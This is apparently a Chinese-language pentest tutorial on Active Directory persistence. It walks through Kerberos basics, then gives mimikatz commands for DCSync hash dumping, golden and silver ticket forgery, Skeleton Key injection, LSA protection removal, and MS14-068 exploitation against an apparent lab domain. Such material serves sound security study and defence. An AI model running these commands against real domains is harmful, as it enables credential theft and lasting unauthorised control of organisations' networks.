内网渗透-域环境权限维持
字数 2058 2025-08-15 21:30:19
域环境权限维持技术详解
一、域环境基础
1.1 常用域命令
net view /domain # 查询域列表
net time /domain # 从域控查询时间,判断主域
net localgroup administrators # 本机管理员(通常含有域用户)
net user /domain # 查询域用户(当前域)
net group /domain # 查询域工作组
net group "domain computers" /domain # 查看加入域的所有计算机名
net group "domain admins" /domain # 查询域管理员用户组和域管用户
net localgroup administrators /domain # 查看域管理员
net group "domain controllers" /domain # 查看域控
net accounts /domain # 查看域密码策略
ping 域控计算机名 # 查找域控地址
ipconfig /all # 通常域内主机DNS地址就是域控地址
1.2 Kerberos协议基础概念
- Kerberos: 网络认证协议,通过密钥系统为客户机/服务器应用程序提供认证服务
- DC (Domain Controller): 域控制器,实现用户、计算机的统一管理
- KDC (Key Distribution Center): 秘钥分发中心,默认安装在域控
- AS (Authentication Service): 身份验证服务,用于KDC对Client认证
- TGS (Ticket Granting Service): 票据授予服务,用于KDC向Client和Server分发Session Key
- AD (Active Directory): 活动目录,存储用户、用户组、域相关信息
二、Kerberos认证流程
2.1 Client与AS的交互
- KRB_AS_REQ: Client向KDC的AS发送Authenticator1,内容为通过Client NTML Hash加密的时间戳、Client ID、网络地址、加密类型等
- KBR_AS_REP: AS验证成功后生成由Client Hash加密的Session Key as和使用krbtgt Hash加密的TGT(包含session key as、超时时间等)返回给client
2.2 Client与TGS的交互
- KBR_TGS_REQ: client使用Session Key as加密数据(timestamp、Client-info、Server-info)作为第一部分,TGT作为第二部分发送给TGS
- KBR_TGS-REP: TGS使用krbtgt的hash解密TGT,验证通过后发送由Session-key as加密的Session-key tgs和由Server NTLM-hash加密的ST
2.3 Client与Server的交互
- KRB_AP_REQ: client使用Session-key tgs加密数据作为第一部分,ST作为第二部分发送给server
- KRB_AP_REP: server使用自身NTLM-hash解密ST,验证通过后与client建立通信
三、黄金票据(Golden Ticket)
3.1 原理
伪造TGT跳过AS认证,直接进行第二次认证,从而和任意server进行通信。利用点在于TGS没有保存Session-Key as的值,可以随意构造。
3.2 使用条件
- 域名称
- 域的SID
- 域的krbtgt账户的密码hash值
- 伪造的用户名(通常是administrator)
3.3 利用过程
-
获取krbtgt账户Hash:
mimikatz #lsadump::dcsync /domain:tide.org /user:krbtgt获取域名称、SID和krbtgt账户hash
-
伪造黄金票据:
kerberos::purge kerberos::golden /admin:Administrator /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /krbtgt:264d69c269433dacf814799a4e6e92e5 /ticket:Administrator.kiribi -
导入黄金票据:
kerberos::ptt Administrator.kiribi klist # 查看缓存的票证 psexec.exe \\域控计算机全名 cmd # 获取域控权限
四、白银票据(Silver Ticket)
4.1 原理
伪造ST跳过client和KDC的前两次认证过程,直接与server进行认证。利用点在于server没有保持Session key tgs,可以随意伪造。
4.2 使用条件
- 域名称
- 域的SID
- 域中Server服务器账户的NTLM-Hash
- 伪造的用户名(可以是任意的)
4.3 利用过程
-
获取主机NTLM hash:
mimikatz log "privilege::debug" "sekurlsa::logonpasswords" -
伪造白银票据(以cifs服务为例):
kerberos::purge kerberos::golden /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /target:server2012.tide.org /service:cifs /rc4:49b73d36d4b469c8ef789c13246856fb /user:username /ptt
五、Skeleton Key
5.1 原理
给所有域内用户添加一个相同的密码,域内所有用户都可以使用这个密码进行认证,同时原始密码也可以使用。原理是对lsass.exe进行注入,重启后失效。
5.2 利用过程
-
域控中安装skeleton key:
mimikatz.exe privilege::debug "misc::skeleton"默认Skeleton Key设置为mimikatz
-
域内主机使用密码登录域控:
net use * /delete /y net use \\server2012.tide.org\c$ mimikatz /user:tide\administrator net use
六、绕过LSA保护策略
6.1 背景
微软添加了LSA保护策略防止对lsass.exe的代码注入,影响:
- Windows 8.1以上
- Windows Server 2012 R2以上
6.2 绕过方法
- 需要文件: mimidrv.sys
- 执行命令:
privilege::debug !+ !processprotect /process:lsass.exe /remove misc::skeleton
七、MS14-068漏洞利用
7.1 原理
利用特权属性证书PAC将普通域用户权限提升至域管理员权限。
7.2 利用过程
-
获取当前用户SID:
whoami /user -
生成票据:
ms14-068.exe -u tidewang@tide.org -s S-1-5-21-1082813543-4064396809-3123302706-1112 -d 10.211.55.12 -p nuoyan@123生成.ccache文件
-
注入内存:
kerberos::purge kerberos::list kerberos::ptc TGT_tidewang@tide.org.ccache -
Cobalt Strike中使用:
- 使用KrbCredExport将.ccache转化为kirbi格式
- 在beacon中执行
kerberos_ticket_use选择ticket文件
八、总结
本文详细介绍了域环境下多种权限维持技术:
- Kerberos协议认证流程
- 黄金票据伪造与利用
- 白银票据伪造与利用
- Skeleton Key技术
- LSA保护策略绕过
- MS14-068漏洞利用
这些技术各有适用场景,黄金票据适合已拿下域控后的权限维持,白银票据适合域内主机权限维持,Skeleton Key适合短期隐蔽访问,MS14-068适合权限提升。